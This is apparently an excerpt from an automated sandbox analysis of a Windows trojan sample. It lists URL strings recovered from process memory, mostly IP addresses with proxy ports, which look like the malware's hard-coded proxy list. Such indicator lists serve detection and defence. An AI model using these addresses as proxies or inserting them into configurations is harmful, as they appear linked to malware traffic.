Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.149://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.149:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.149x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C788D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.204
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C785B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.204://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C785B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.204:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.234:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42://proxy0k&
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.195.74
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.195.74://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.195.74:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.207.86
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.207.86://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.207.86:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.213.202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.213.202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.213.202:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.221.57
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.221.57://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.224.33
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.224.33://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9085000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.224.33:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.226.6
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.226.6://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.226.6:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.230.163
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.230.163://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.230.163:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.241.204
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.241.204://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.241.204:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.25.216
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.25.216://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.25.216:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC047000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.72.45
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC606000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.72.45://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.72.45:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.81.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.81.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.81.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C851B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.164.183.194:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C851B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.164.183.194:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA59C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.164.183.80:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.164.183.80:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.181:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.181:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80E7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.197:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.197:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.26:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.165.127.26:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.167.6.218
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.167.6.218://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.167.6.218:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.87.16:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.87.16:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.132.79
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.132.79://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.132.79:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.16.87
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.16.87://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.16.87:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.166.210
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.166.210://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.166.210:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.171.235
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.171.235://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.171.235:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.239.10
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.239.10://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.239.10:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.248.164
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.248.164://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.248.164:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.37.235
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.37.235://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.37.235:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.50.45
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.50.45://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.50.45:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.62.87
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.62.87://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.62.87:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.66.69
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.66.69://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.66.69:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.9.114
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.9.114://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C939A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.17.9.114:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.103.125
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.103.125://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.103.125:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.136.28
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.136.28://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.136.28:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.161.122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.161.122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.161.122:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.166.99:13335
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.166.99:13335://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.220.95
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.220.95://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.220.95:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.237.128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.237.128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.237.128:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.251.208
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.251.208://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.251.208:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.254.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.254.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.254.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.44.93
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.44.93://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.44.93:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.81.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.81.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.18.81.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.109.209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.109.209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.109.209:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.120.84
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.120.84://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.120.84:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.124.112
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.124.112://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.124.112:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.138.4
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.138.4://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.138.4:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.171.188
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.171.188://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.19.171.188:80
